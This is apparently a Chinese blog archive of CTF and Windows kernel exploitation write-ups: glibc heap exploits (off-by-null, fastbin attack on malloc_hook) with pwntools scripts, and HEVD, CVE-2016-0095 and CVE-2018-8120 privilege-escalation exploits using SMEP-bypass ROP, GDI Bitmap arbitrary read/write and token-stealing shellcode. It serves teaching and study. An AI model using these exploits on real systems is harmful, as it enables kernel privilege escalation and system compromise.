可以看到输入size之后,程序会calloc一块内存(calloc类比malloc),存放note,而note_size则存放在note后面
1 | for ( i = 0; i <= 15 && note[i]; ++i ) |
note存放信息如下
1 | bss:0000000000202060 ?? ?? ?? ?? ?? ??+note_size dd 10h dup(?) ; DATA XREF: alloc_note+E1↑o |
edit 从 note 和 note_size 中根据索引取出需要编辑的堆块的指针和 size,使用 read 函数来进行输入。之后将末尾的值赋值为 0,这里存在 off by null 漏洞。
1 | puts("Index ?"); |
可以看到输入 index 之后程序 free 掉 note 和 note_size 之后做了清零操作,不存在UAF漏洞
1 | puts("Index ?"); |
可以看到system(“/bin/sh”);函数,函数首先读 0x30 长度,然后输入的内容和 mmap 段映射的内容相同即 getshell
1 | v1 = __readfsqword(0x28u); |
这里首先我们连续申请7块chunk,这里是三个一组,两组 chunk 中的中间一个大的 chunk 就是我们利用的目标,用它来进行 overlapping 并把它放进 largebin 中
1 | alloc_note(0x18) # 0 |
布局如下图
然后我们伪造 prev_size
1 | # 改pre_size为0x500 |
调试可以看到
1 | gdb-peda$ x/30gx 0x55dc2ede84f0 |
释放掉chunk 1至unsort bin然后创建chunk 0来触发off by null,这里选择 size 为 0x18 的目的是为了能够填充到下一个 chunk 的 prev_size,这里就能通过溢出 00 到下一个 chunk 的 size 字段,使之低字节覆盖为 0。
1 | delete_note(1) |
调试可以看到chunk1已经被放进了 unsorted bin
1 | gdb-peda$ x/20gx 0x562071ea0020-32 |
接下来我们申请两块chunk,因为关闭了 fastbin 机制,所以会从unsorted bin上,然后delete掉它们,那么就会触发这两个堆块合并,从而覆盖到刚刚的 0x4d8 这个块
1 | alloc_note(0x18) |
调试如下,index为7的指向的地方和unsortedbin里面的chunk已经重叠了
1 | gdb-peda$ x/20gx 0x5564795ff000 |
alloc_note(0x30)之后2号块与7号块交叠,这里 add(0x30) 的 size 为 0x30 的原因是只需要控制 chunk7 的 fd 和 bk 指针
1 | alloc_note(0x30) # 1 |
接下来的原理同上
1 | edit_note(4, 'a'*(0x4f0) + p64(0x500)) |
接下来需要我们控制 unsort bin 和 large bin
1 | delete_note(2) |
由于unsorted bin是FIFO(队列模式),所以可以先删除2号块,再申请他,由于先检查队列尾部,也就是原先4号块的chunk部分,发现chunk大小不够大,然后将其放入large bin中。该chunk由8号块控制。然后,继续删除2号块,那么此时unsorted bin里还剩下2号块,该部分通过7号块来控制。
1 | gdb-peda$ x/20gx 0x55609685a000 |
接下来我们伪造 fake_chunk,通过 chunk7 控制 chunk2
1 | content_addr = 0xabcd0100 |
同样的通过 edit(8) 来控制 chunk5
1 | payload2 = p64(0)*4 + p64(0) + p64(0x4e1) # size |
接下来我们需要触发后门
1 | edit_note(2, p64(0) * 8) |
exp如下
1 | from pwn import * |
运行结果如下
1 | Thunder_J@Thunder_J-virtual-machine:~/桌面$ python exp.py |
参考链接
1 | [+] http://blog.eonew.cn/archives/709 |
这里从0ctf2017-babyheap这一道pwn题目入手,讲解pwn堆中的一些利用手法
分析程序
首先检查程序保护,所有的保护措施都是开启的,这意味着我们想要改写程序流程考虑从malloc_hook
和free_hook
入手
1 | [*] '/home/thunder/Desktop/codes/ctf/pwn/heap/0ctf_babyheap/0ctfbabyheap' |
sed -i s/alarm/isnan/g ./0ctfbabyheap
命令除去alarm函数,初步运行程序,有以下几个功能:
1 | ===== Baby Heap in 2017 ===== |
漏洞点存在于申请chunk和填充chunk部分,我们着重对这两个地方进行分析
Alloc chunk
IDA中反汇编如下,这里使用了calloc
函数,相当于malloc + memset
1 | void __fastcall alloc(__int64 heap) |
反汇编中我们可以分析heap结构体大致如下
1 | struct heap |
填充chunk
IDA反汇编如下,需要注意的是,这里并没有对填充的大小进行限制,也就意味着我们可以堆溢出控制下面的chunk
1 | __int64 __fastcall fill(__int64 a1) |
Exploit
这里先放exp,然后逐步进行调试讲解,我们的利用可以分为两步,第一步是泄露libc基地址,第二步是getshell
1 | from pwn import * |
泄露libc地址
这里我们是通过small chunk的机制泄露libc地址,当small chunk被释放之后,会进入unsorted bin中,它的fd和bk指针会指向同一个地址(unsorted bin链表的头部),通过这个地址可以获得main_arena的地址,然后计算libc基地址,首先我们创建如下几个chunk
1 | code: |
释放两个fast chunk,将第二个指向第一个
1 | code: |
这里我们通过 fill 函数修改第0个chunk之后的内容,因为没有限制,所以我们可以修改到2处的指针,让其指向chunk4,因为chunk4是small bin,被链入到了fast bin中会有size的检查,所以我们这里需要将chunk4处的size改为0x20过size的检测
1 | code: |
然后我们申请这两个地方的fastbin就可以让index 2的堆块的地址和index 4堆块的地址一样,等index 4被free后,这里就是fd 字段,之后便能通过dump index 2来泄漏index 4的fd内容,括号中括起来的即是heap结构体中指向的同一地址
1 | code: |
我们再将其改为原来的大小,申请释放即可泄露出fd指向的地址
1 | code: |
这个地址是main_arena+88
,我们将其减去0x58得到main_arena的地址,然后根据自己系统libc版本减去相应的偏移获得libc的基地址
1 | code: |
getshell
我们这里考虑的是使用malloc_hook函数来getshell,当调用 malloc 时,如果 malloc_hook 不为空则调用指向的这个函数,所以这里我们传入一个 one-gadget 即可,首先我们需要找到一个fake chunk,我们将其申请到然后将 one-gadget 写入,它的size选择在0x10~0x80之间即可,这里选择的是mallc_hook上面一排的地方,为了使我们的user data刚好能够写到malloc_hook的位置
1 | pwndbg> x/20gx 0x7f9c3e9d4000+0x399acd |
利用fast bin机制进行如下构造,我们需要申请到fake_chunk的位置
1 | code: |
继续malloc两次即可申请到fake chunk的地方,就可以对malloc_hook进行写入
1 | code: |
最后我们构造fake chunk,写入one_gadget即可,这里根据自己的libc版本查询相应的one_gadget
1 | # construct fake chunk |
最后getshell
1 | $ ls |
总结
这道题目因为可以自己构造堆的结构,所以比较自由,利用的方法也非常多,我的exp是针对我的deepin环境,想要在不同平台进行利用,需要查看自己libc中的偏移,修改部分偏移即可,一些知识点总结如下
本篇文章主要分享HEVD这个Windows内核漏洞训练项目中的Write-What-Where漏洞在win7 x64到win10 x64 1605的一个爬坑过程,Windows内核漏洞的原理比较简单,关键点在于exp的编写,这里我从win7 x64开始说起,看此文章之前你需要有以下准备:
如果你不是很清楚这个漏洞的基本原理的话,你可以从我的另一篇文章了解到这个漏洞的原理以及在win 7 x86下的利用,我这里就不多加赘述了
让我们简单回顾一下在Windows 7 x86下我们利用的利用思路和关键代码,全部的代码参考 => 这里
利用思路
HalDispatchTable+0x4
TriggerArbitraryOverwrite
函数将shellcode
地址放入Hook地址NtQueryIntervalProfile
函数触发漏洞关键代码
计算Hook地址
1 | DWORD32 GetHalOffset_4() |
调用问题函数执行shellcode
1 | NtQueryIntervalProfile_t NtQueryIntervalProfile = (NtQueryIntervalProfile_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryIntervalProfile"); |
总所周知Windows 7 x64是64位的,所以我们很快的就可以想到和32位的不同,所以我们在32位的基础上只需要改一下长度应该就可以拿到system权限了,实际上还是有很多坑的,这里我分享几个我遇到的坑,第一个就是我们的shellcode需要修改,因为是64位,所以偏移都会有改变,但是原理是不会变的
_KTHREAD
结构体_EPROCESS
结构体1 | movrax, gs:[188h] |
Shellcode在64位下的编译
首先第一个就是shellcode如何放置在64位的编译环境下,如果是像32位那样直接在代码中嵌入汇编是行不通的,这里我们需要以下几步来嵌入汇编代码(我使用的环境是VS2019,当然以前的版本也可以)
1 | .code |
1 | ml64 /c %(filename).asm |
1 |
|
shellcode的放置
第二个坑就是shellcode的放置,在x86中我们是如下方法实现shellcode的放置
1 | VOID Trigger_shellcode(DWORD32 where, DWORD32 what) |
因为我们现在是qword
而不是dword
,也就是说我们需要调用两次才能将我们的地址完全写进去,所以构造出如下的片段
1 | VOID Trigger_shellcode(UINT64 where, UINT64 what) |
最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里
好了win7我们已经完成了利用,我们开始研究win8下的利用,首先我们需要了解一些win8的安全机制,我们拿在win7 x64下的exp直接拖入win8运行观察会发生什么,果不其然蓝屏了,我们查看一下在windbg中的分析
1 | *** Fatal System Error: 0x000000fc |
windbg中提示ATTEMPTED_EXECUTE_OF_NOEXECUTE_MEMORY
这个错误,我们解读一下这句话,企图执行不可执行的内存,等等,这不就是我们pwn中的NX保护吗
我们详细来了解一下这个保护机制,SMEP保护开启的时候我们用户层的代码不能在内核层中执行,也就是说我们的shellcode不能得到执行
这个时候我们回想一下绕过NX的方法,瞬间就想到了ROP,那么我们现在是要拿ROP帮我们做哪些事情呢?我们看下面这张图,可以看到我们的SMEP标志位在第20位,也就是说我们只需要将cr4寄存器修改为关闭SMEP的状态即可运行我们的shellcode了
我们来查看一下我们的cr4寄存器的运行在我的环境下触发漏洞前后的对比
1 | .formats 00000000001506f8 // 开启 |
也就是说我们只需要将cr4修改为0x406f8即可在内核运行我们的shellcode从而提权,那么如何选择我们的ROP呢,我们来观察以下代码片段,可以看到里可以通过rax来修改cr4,那么问题就简单了,我们只需要把rax设为0x406f8不就行了吗,ROPgadgets的计算我们可以通过偏移来查找,首先我们通过前面的知识计算出内核基地址,然后在windbg中用u命令查看KiConfigureDynamicProcessor+0x40
的地址,我们用该地址减去基地址即可得到偏移,有了偏移我们加上基地址就可以得到我们ROPgadgets的位置了
1 | 1: kd> u KiConfigureDynamicProcessor+0x40 |
让我们再次看看我们在win7利用中如何进行Hook的,我们是直接把Hal_hook_address
替换为ShellCode的地址
1 | Trigger_shellcode(Hal_hook_address,(UINT64)&ShellCode); |
我们想要做的是把Hal_hook_address
先替换为我们的ROP,修改了cr4寄存器之后再执行我们的shellcode,这就需要进行多次读写的操作,显然光靠一个Trigger_shellcode
是不够的,这里隆重介绍我们的 BITMAP 对象,这个对象在Windows 8.1中可谓是一个必杀技,用好它可以实现任意读和任意写
首先我们需要了解一下这个对象的大致信息,我们直接用CreateBitmap
函数创建一个对象然后下断点进行观察,函数原型如下
1 | HBITMAP CreateBitmap( |
我们构造如下代码
1 | int main() |
这里我们需要用GdiSharedHadnleTable
这个句柄表来泄露我们hBitmap
的地址,先不用管原理是什么,总之我们现在先找到我们Bitmap的位置,可以看到我们通过一系列操作居然找到了我们的Bitmap,其分配在会话池,大小是0x370
1 | 1: kd> r |
让我们理一下这个过程,首先从命令中我们知道GdiSharedHandleTable
是在PEB中,而GdiSharedHandleTable
本身是一个保存GDI对象的句柄表,其指向的是一个叫GDICELL64
的结构,其大小是0x18:
1 | typedef struct{ |
从上面我们可以看到它可以泄露我们内核中的地址,过程就是先计算出函数返回值(rax)的低4字节作为索引,然后乘上GDICELL64
的大小0x18,再加上GdiSharedHandleTable
的地址即可得到我们Bitmap的地址,换成代码实现就是
GdiSharedHandleTable
句柄表关键实现代码如下
1 | DWORD64 getGdiShreadHandleTableAddr() |
让我们来查看一下Bitmap的结构,我们只需要关注重点的位置就行了
1 | typedef struct{ |
这里我借鉴图片来说明,我们关注的点就只有一个pvScan0
结构,它的偏移是 +0x50 处,可以发现它指向我们的Pixel Data
,这个结构就是我们CreateBitmap
函数传入的第五个参数,也就是说我们传入aaaa,那么pVscan0指向地址的内容就是aaaa
我们刚才分析了那么多,说到底都是为了一个目的 => 任意读任意写,那么如何才能任意读和写呢?这里我再介绍两个比较重要的函数SetBitmapBits
和GetBitmapBits
其原型如下
1 | LONG SetBitmapBits( |
这两个函数的作用是向pvScan0指向的地址写(读)cb byte大小的数据,说到这里貌似有一点任意读写的感觉了,光靠一个pvScan0是肯定不能任意读写的,所以这里我们考虑使用两个pvScan0,我们把一个pvScan0指向另外一个pvScan0,我们有TriggerArbitraryOverwrite
函数可以实现将一个pvScan0指向另一个pvScan0,然后我们再调用SetBitmapBits
和GetBitmapBits
函数岂不是就可以进行任意读写了,我们用图片说明:
我们任意读写的代码构造如下,read函数实现将whereRead的内容读到whatValue的位置,write函数实现将whatValue的内容写入whereWrite的位置:
1 | VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len) |
让我们平复一下激动的心情,我们现在有了任意读和写的机会了,我们只需要将我们的ROPgadgets写入我们需要Hook的位置,然后调用问题函数执行shellcode就行了,这里我们需要注意的是,我们还需要调整调整堆栈的一些信息,不然很容易就蓝屏了,这里我们进行三次读写操作
1 | readOOB(Hal_hook_address, &lpRealHooAddress, sizeof(LPVOID)); // 保存Hook地址 |
我们最后整合一下思路
TriggerArbitraryOverwrite
函数将一个pvScan0指向另一个pvScan0NtQueryIntervalProfile
问题函数最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里
首先我们回顾一下我们在上面的利用中可能存在的一个坑
Shellcode的构造
上篇我只是简单提了一下内核中构造放置我们的shellcode,如果你看了我的源码,里面的构造函数如下所示:
1 | VOID ConstrutShellcode() |
你可能会疑惑recoverAddr
这个东西是拿来做什么用的,先不要着急我们在看看我们shellcode的实现:
1 | .code |
从上面可以看到,我在最后的地方用了几句汇编将堆栈平衡了,这其实是我调试了很久才得到的结果,我简单提一下这个过程,首先我们知道我们把shellcode放置在了0x100300的位置,我们还知道我们需要执行我们的ROP,所以我们需要在windbg中下两个硬件断点观察,注意shellcode中不能用int 3下软件断点,这样会修改堆栈的平衡导致一些问题
1 | 1: kd> u nt!KiConfigureDynamicProcessor+0x40 |
我们g运行到第一个断点,t单步到ret处,查看堆栈结构和我们现在rc4寄存器的值,可以发现我们的寄存器已经被修改
1 | 1: kd> g |
我们t单步再次观察堆栈,这里已经开始执行我们的shellcode了
1 | 1: kd> t |
我们继续单步运行到shellcode中sub rsp,30h
的位置,查看堆栈之后继续单步,我们可以看到rsp中内容被修改为了0x010033e,而0x010033e中存放的内容正是我们nt!KeQueryIntervalProfile+0x25
中的值
1 | 1: kd> t |
nt!KeQueryIntervalProfile+0x25
是哪里呢,这个值刚好是我们Hook位置的下一句汇编,我们将其放回原位即可做到原封不动的还原内核函数,这样就可以完美的提权而不蓝屏
1 | 0: kd> u nt!KeQueryIntervalProfile |
好了我们整理完了win 8.1下的一些坑我们开始我们在win10中的利用,win8.1中最浪费时间的操作便是堆栈的平衡问题,那我们可不可以有更简单的方法提权呢?当然有的,我们都有任意读写的权限了不是吗,既然有任意读写的权限,那么我们完全可以用任意读写的操作实现对token的替换,我们甚至不用我们的shellcode都可以提权,这种做法非常的简便,并不需要考虑shellcode在内核中运行遇到的堆栈平衡问题,我们的关键点始终还是在泄露pvScan0的地方,我们在win 10 1607和win 10 1511中观察一下我们创建的Bitmap结构,和win 8.1进行比较,构造如下代码片段
1 | int main() |
Win 8.1 x64
1 | 0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb |
Win 10 1511 x64
1 | 0: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb |
Win 10 1607 x64
1 | 3: kd> dt ntdll!_PEB -b GdiSharedHandleTable @$Peb |
实验中很明显的发现win 10 1607中我们的GdiShreadHanldleTable
已经不是一个指针了,我们来看看有什么升级,图片中说明了已经不能够公开这个句柄表的地址了,那是不是就没办法了呢?
当然不是!我们总能够通过各种方法来泄露我们的 PrvScan0 ,这里就需要引入另外一个比较神奇的结构gSharedInfo
1 | typedef struct _SHAREDINFO { |
其中的 aheList
结构如下,里面就保存了一个 pKernel 的指针,指向这个句柄的内核地址
1 | typedef struct _USER_HANDLE_ENTRY { |
先不管三七二十一,我们先泄露这个东西,再看看和我们的 Bitmap 有什么联系,关键代码如下
1 | LPACCEL lPaccel = NULL; |
运行一下查看结果,确实泄露了什么东西出来
解读一下上面的代码,我们首先创建了一块内存,其中的nSize选择了700的大小,因为后面我们使用CreateBitmap
创建的对象传入的第一个参数是0x710,关于CreateBitmap
中第一个参数width
对生成对象的影响我就不过多阐述了,实验加上官方文档)可以给我们解释,然后我们获取了 user32.dll 中的 gSharedInfo 对象,我们在一个循环里使用 CreateAcceleratorTable 和 DestroyAcceleratorTable 不断创建释放了 hAccel 结构,其中计算的过程和我们泄露bitmap地址的过程类似,这里就会产生一个疑问,这个泄露的东西为什么和我们的 Bitmap 一样呢,要知道我们每次创建释放hAccel时候地址是固定的(你可以多打印几次进行实验),并且这个对象也是分配在会话池(sesssion pool),大小又相等,池类型又相同,如果我们申请了一块然后释放了,再用bitmap申请岂不是就可以申请到我们想要的地方,泄露的地址也就是bitmap的地址了,我们这里为了使得到的地址固定,堆喷射后使用了一个判断语句判断是否得到了稳定的地址,得到之后我们再加上相应的偏移也就是我们的 PrvScan0 了,于是我们构造如下代码片段
1 | LeakBitmapInfo GetBitmap() |
泄露了之后就好办了,也就是只需要替换一个token就行了,我这里用的是read和write函数不断的进行汇编shellcode的模仿,在ring3层实现了对token的替换,这样我们就可以不加入我们的shellcode从而提权,而这种方法也不需要考虑堆栈平衡,非常的方便,其中获取系统的一些信息的时候使用了NtQuerySystemInformation
这个函数,通过它可以给我们提供很多的系统信息,具体的可以参阅官方文档
1 | __kernel_entry NTSTATUS NtQuerySystemInformation( |
最后整合一下思路:
gSharedInfo
对象来泄露我们的Bitmap地址TriggerArbitraryOverwrite
函数将一个pvScan0指向另一个pvScan0最后整合一下代码即可实现利用,整体代码和验证结果参考 => 这里
RS2版本中貌似将我们的 pkernel 指针给移除了,也就是说我们不能再通过 gSharedInfo 结构来泄露我们的内核地址了,不过有前辈们用tagCLS
对象及lpszMenuName
对象泄露了内核地址,能够泄露的话其实其他地方都好办了,泄露的方法我这里简单提一下,首先我们需要找到HMValidateHandle
函数的地址,这个函数我们只需要传入一个窗口句柄,他就会返回在桌面堆中的tagWND
对象指针,而通过这个指针我们就可以泄露出内核地址,这个函数地址我们可以通过IsMenu
这个用户态函数获取到,我们来看一下函数的内容,可以看到 call 之后会调用到HMValidateHandle
这个函数,那么我们只需要通过硬编码计算,获取 e8(call) 之后的几个字节地址就行了
1 | kd> u user32!IsMenu |
获取到HMValidateHandle
函数之后我们只需要再进行一系列的计算获取lpszMenuName
对象的地址,我们可以依据下图 Morten 所说的计算过程计算出Client delta
获取到了之后我们只需要和前面一样进行堆喷加上判断就能够泄露出Bitmap的地址,还需要注意的是偏移的问题,需要简要修改,下面是1703的一些偏移
1 | 2: kd> dt nt!_EPROCESS uniqueprocessid token activeprocesslinks |
RS3版本中 PvScan0 已经放进了堆中,既然是堆的话,又让人想到了堆喷射控制内核池,总之可以尝试一下这种方法
但是前辈们总有奇特的想法,又找到了另外一个对象 platte ,它类似与 bitmap 结构,可以用 CreatePalette
函数创建,结构如下
任意读写的方法只是改为了GetPaletteEntries
和SetPaletteEntries
,以后可以尝试一下这个思路
利用里面,win8.1的坑比较多,和win7比起来差距有点大,需要细心调试,更往后的版本主要是参阅外国的文献,以后有时间再来实践
参考资料:
[+] SMEP原理及绕过:http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html
[+] ROP的选择:http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html
[+] Bitmap结构出处:http://gflow.co.kr/window-kernel-exploit-gdi-bitmap-abuse/
[+] wjllz师傅的博客:https://redogwu.github.io/
[+] 参阅过的pdf:https://github.com/ThunderJie/Study_pdf
[+] RS2上的利用分析:https://www.anquanke.com/post/id/168441#h2-3
[+] RS3上 platte 对象的利用分析:https://www.anquanke.com/post/id/168572
]]>本篇文章从SSCTF中的一道Kernel Pwn题目来分析CVE-2016-0095(MS16-034),CVE-2016-0095是一个内核空指针解引用的漏洞,这道题目给了poc,要求我们根据poc写出相应的exploit,利用平台是Windows 7 x86 sp1(未打补丁)
题目给了我们一个poc的源码,我们查看一下源码,这里我稍微对源码进行了修复,在VS上测试可以编译运行
1 | /** |
编译之后在win 7 x86中运行发现蓝屏,我们在windbg中回溯一下,可以发现我们最后问题出在在win32k模块中的bGetRealizedBrush
函数
1 | 3: kd> g |
我们在此时在windbg中查看一下byte ptr [eax+24h]
的内容,发现eax+24
根本没有映射内存,此时的eax为0
1 | 3: kd> dd eax+24 |
我们在IDA中分析一下该函数的基本结构,首先我们可以得到这个函数有三个参数,两个结构体指针,一个函数指针,中间的哪个参数我重命名了一下
1 | int __stdcall bGetRealizedBrush(struct BRUSH *a1, struct EBRUSHOBJ *EBRUSHOBJ, int (__stdcall *a3)(struct _BRUSHOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _SURFOBJ *, struct _XLATEOBJ *, unsigned int)) |
我们在汇编中找一下蓝屏代码的位置,继续追根溯源,可以发现eax是由[ebx+34h]
得到的
1 | loc_95D40543: |
我们在windbg中查询一下[ebx+34h]
的结构,发现 +1c 处确实是零,直接拿来引用就会因为没有映射内存而崩溃
1 | 3: kd> dd poi(ebx+34h) |
我们现在需要知道这个 +1c 处的内容是什么意思,根据刚才的回溯信息,我们在最外层的win32k!NtGdiFillRgn+0x339
的前一句,也就是调用EngPaint
之前下断点观察堆栈情况
1 | 0: kd> u win32k!NtGdiFillRgn+0x334 |
EngPaint
函数参数信息如下
1 | int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, unsigned int a5) |
根据参数信息我们可以得到下面这两个关键参数
我们在bGetRealizedBrush
处下断,找到这两个参数的位置,根据计算由_BRUSHOBJ
推出了_SURFOBJ
1 | 3: kd> ba e1 win32k!bGetRealizedBrush |
我们在微软官方可以查询到_SURFOBJ的结构,总结而言就是_SURFOBJ->hdev
结构为零引用导致蓝屏
1 | typedef struct _SURFOBJ { |
从上面的分析我们知道,漏洞的原理是空指针解引用,利用的话肯定是在零页构造内容从而绕过检验,最后运行我们的ShellCode,我们现在需要在bGetRealizedBrush
函数中寻找可以给我们利用的片段,从而达到call ShellCode
提权的目的,我们可以在IDA中发现以下可能存在的几个片段
看到第二个片段其实第一个片段都可以忽略了,因为[ebp+arg_8]的位置我们是不可以控制的,而第二个片段edi来自[eax+748h],所以我们是完完全全可以在零页构造这个结构的,我们只需要将[eax+748h]设置为我们shellcode的位置即可达到提权的目的,我们现在的目标已经清楚了,现在就是观察从漏洞触发点到我们 call edi 之间的一些判断,我们需要修改一些判断从而达到运行我们shellcode的目的,我们首先申请零页内存,运行代码查看函数运行轨迹
1 | int main(int argc, char* argv[]) |
我们单步运行可以发现,我们要到黄色区域必须修改第一处判断,不然程序就不会走到我们想要的地方,然而第一处判断我们只需要让[eax+590h]不为零即可,所以构造如下片段
1 | *(DWORD*)(0x590) = (DWORD)0x1; |
第二处判断类似,就在第一处的右下角
1 | *(DWORD*)(0x592) = (DWORD)0x1; |
最后一步就是放上我们的shellcode了,只是在构造的时候我们需要给他四个参数,当然也可以直接在shellcode里平衡堆栈
1 | ; IDA 里的片段 |
所以我们构造如下片段即可
1 | int __stdcall ShellCode(int parameter1,int parameter2,int parameter3,int parameter4) |
最后整合一下思路:
Trigger_BSoDPoc
函数运行shellcode提权提权的代码和验证在 => 这里
因为是有Poc构造Exploit,所以我们这里利用起来比较轻松,win 7 x64利用也比较简单,修改相应偏移即可
参考资料:
[+] k0shl师傅的分析:https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html
]]>2018年5月微软发布了一次安全补丁,其中有一个是对内核空指针解引用的修复,本片文章从补丁对比出发,对该内核漏洞进行分析,对应CVE-2018-8120,实验平台是Windows 7 x86 sp1
对比四月和五月的安全补丁可以定位以下几个关键函数,逐个分析观察可以定位到我们本次分析的的关键函数SetImeInfoEx
可以看到五月的补丁对SetImeInfoEx
多了一层检验
IDA中观察4月补丁反汇编如下,稍微添加了一些注释
1 | signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex) |
5月补丁反汇编如下
1 | signed int __stdcall SetImeInfoEx(signed int pwinsta, const void *piiex) |
可以看到五月的补丁对于参数v3是否为零进行了一次检测,我们对比SetImeInfoEx
函数的实现发现,也就是多了对成员域 spklList
的检测,v3就是我们的spklList
,该函数的主要作用是对扩展结构IMEINFO
进行设置
1 | // nt4 源码 |
同样的修复我们可以在ReorderKeyboardLayouts
函数中看到,也是对spklList
成员域进行了限制
ReorderKeyboardLayouts
函数实现如下,可以看到函数也对spklList
进行了调用,我们这里主要分析SetImeInfoEx
函数
1 | // nt4 源码 |
结合上面微软对于两个函数的修复,我们可以猜测这次的修复主要是对spklList
成员域的错误调用进行修复,从SetImeInfoEx
函数的交叉引用中,因为只有一处交叉引用,所以我们可以追溯到调用函数NtUserSetImeInfoEx
,通过分析可以看到该函数的主要作用是对进程中的窗口进行设置
1 | signed int __stdcall NtUserSetImeInfoEx(char *buf) |
在SetImeInfoEx
函数中,我们可以看到传入的指针PWINDOWSTATION
指向结构体tagWINDOWSTATION
结构如下,也就是窗口站结构,其中偏移 0x14 处可以找到spklList
,我们需要关注的点我会进行注释
1 | 1: kd> dt win32k!tagWINDOWSTATION |
我们继续追溯到spklList
指向的结构tagKL
,可以看到是一个键盘布局对象结构体,结构体成员中我们可以看到成员piiex
指向一个基于tagIMEINFOEX
布局的扩展信息,而在SetImeInfoEx
函数中,该成员作为第二个参数传入,作为内存拷贝的内容,我们还可以发现有两个很相似的指针pklNext
和pklPrev
负责指向布局对象的前后
1 | 1: kd> dt win32k!tagKL |
piiex
指向的tagIMEINFOEX
的结构如下
1 | 1: kd> dt win32k!tagIMEINFOEX |
通过上面对每个成员的分析,我们大概知道了函数之间的调用关系,这里再简单总结一下,首先当用户在R3调用CreateWindowStation
生成一个窗口时,新建的 WindowStation 对象其偏移 0x14 位置的 spklList 字段的值默认是零,如果我们调用R0函数NtUserSetImeInfoEx
,传入一个我们定义的 buf ,函数就会将 buf 传给 piiex 在传入 SetImeInfoEx 中,一旦调用了 SetImeInfoEx 函数,因为 spklList 字段是零,所以就会访问到零页内存,导致蓝屏,所以我们构造如下代码
1 |
|
运行发现果然蓝屏了,问题出在 win32k.sys
我们通过蓝屏信息定位到问题地址,确实是我们前面所说的SetImeInfoEx
函数
我们利用的思路首先可以想到因为是在win 7的环境中,我们可以在零页构造一些结构,所以我们这里首先获得并调用申请零页的函数NtAllocateVirtualMemory
,因为内存对齐的问题我们这里申请大小的参数设置为 1 以申请到零页内存
1 | // 申明函数 |
申请到内存我们就需要开始思考如何进行构造,我们再详细回顾一下漏洞复现例子中的一些函数,根据前面的例子我们知道,需要使用到CreateWindowStation
创建窗口函数,详细的调用方法如下
1 | HWINSTA CreateWindowStationA( |
创建好窗口站对象之后我们还需要将当前进程和窗口站对应起来,需要用到 SetProcessWindowStation
函数将指定的窗口站分配给调用进程。这使进程能够访问窗口站中的对象,如桌面、剪贴板和全局原子。窗口站上的所有后续操作都使用授予hWinSta
的访问权限
1 | BOOL SetProcessWindowStation( |
最后一步就是调用xxNtUserSetImeInfoEx
函数蓝屏,我们这里能做手脚的就是给xxNtUserSetImeInfoEx
函数传入的参数piiex
1 | // nt4 源码 |
我们在IDA中继续分析一下并粗略的构造一个思路,这里我根据结构重新注释修复了一下 IDA 反汇编的结果
1 | bool __stdcall SetImeInfoEx(DWORD *pwinsta, DWORD *piiex) |
需要清楚的是,我们最后SetImeInfoEx
中的拷贝函数会给我们带来什么作用,他会把我们传入的piiex
拷贝到tagKL->piiex
中,拷贝的大小是 0x15C ,我们这里其实想到的是拷贝之后去覆盖 HalDispatchTable+0x4
的位置,然后调用NtQueryIntervalProfile
函数提权,所以我们只需要覆盖四个字节,为了达到更精准的覆盖我们想到了 win10 中的滥用Bitmap对象达到任意地址的读和写,那么在 win 7 中我们如何运用这个手法呢?其实很简单,原理上和 win 10 相同,只是我们现在有个问题,要达到任意地址的读和写,我们必须得让hManagerPrvScan0
指向hworkerPrvScan0
,我们如何实现这个目标呢?聪明的你一定想到了前面的拷贝函数,让我们先粗略的构造一个利用思路:
xxNtUserSetImeInfoEx
函数的参数并调用实现hManagerPrvScan0
指向hworkerPrvScan0
HalDispatchTable+0x4
内容写为shellcode的内容NtQueryIntervalProfile
函数运行shellcode提权有了思路我们现在就只差时间了,慢慢的调试总能给我们一个完美的结果(吗),我们知道NtUserSetImeInfoEx
函数的参数是一个tagIMEINFOEX
结构而tagKL
则指向这个结构,根据前面IDA中的注释,我们知道我们需要绕过几个地方的检验,从检验中我们可以发现需要做手教的地方分别是tagKL->hkl
和tagKL->piiex
,我们的tagKL->hkl
需要和传入的piiex
地址一致,tagKL->piiex
这个结构有两处检验,第一处是自己不能为空,第二处是tagIMEINFOEX->fLoadFlag
也必须赋值,观察Bitmap的结构,我们知道 +0x2c 偏移处刚好不为零,所以我们考虑如下构造,把tagKL->piiex
赋值为pManagerPrvScan0
,把tagKL->hkl
赋值为pWorkerPrvScan0
,为了使传入的piiex
与我们的tagKL->hkl
相等,我们将其构造为pWorkerPrvScan0
的结构
1 | DWORD* faketagKL = (DWORD*)0x0; |
在xxNtUserSetImeInfoEx
函数之后下断点你会发现已经实现了pManagerPrvScan0->pWorkerPrvScan0
,这时我们就可以尽情的任意读写了
最后提权的过程还是和以前一样,覆盖HalDispatchTable+0x4
函数指针,然后调用NtQueryIntervalProfile
函数达到运行shellcode的目的
1 | VOID GetShell() |
最终整合一下思路和代码我们就可以提权了(不要在意这盗版的win 7…),效果如下,详细的代码参考 => 这里
这个漏洞也可以在win 7 x64下利用,后续我会考虑把64位的利用代码完善一下,思路都差不多,主要修改的地方是偏移和汇编代码的嵌入问题,这个漏洞主要是在零页的构造,如果在win 8中就很难利用,毕竟没有办法在零页申请内存
参考资料:
]]>这一系列文章是记录我在Windows内核漏洞学习的过程,我把他们整合成了一篇,覆盖了大部分漏洞的类型,既然是第0篇,那肯定是着重点放在环境的搭建和介绍,我的打算是先把HEVD中的大部分漏洞走一遍,实验环境是在Windows 7 x86 sp1,你需要安装的主要内容如下:
下面我简要说一下环境的配置,配置环境是一件麻烦的事情,不同的时期会有不同的新工具和版本,我们需要的东西只是一个虚拟机,调试器和驱动加载工具,所以如果下面的方法你不能得到理想的效果,可以参考许多其他最新的文章
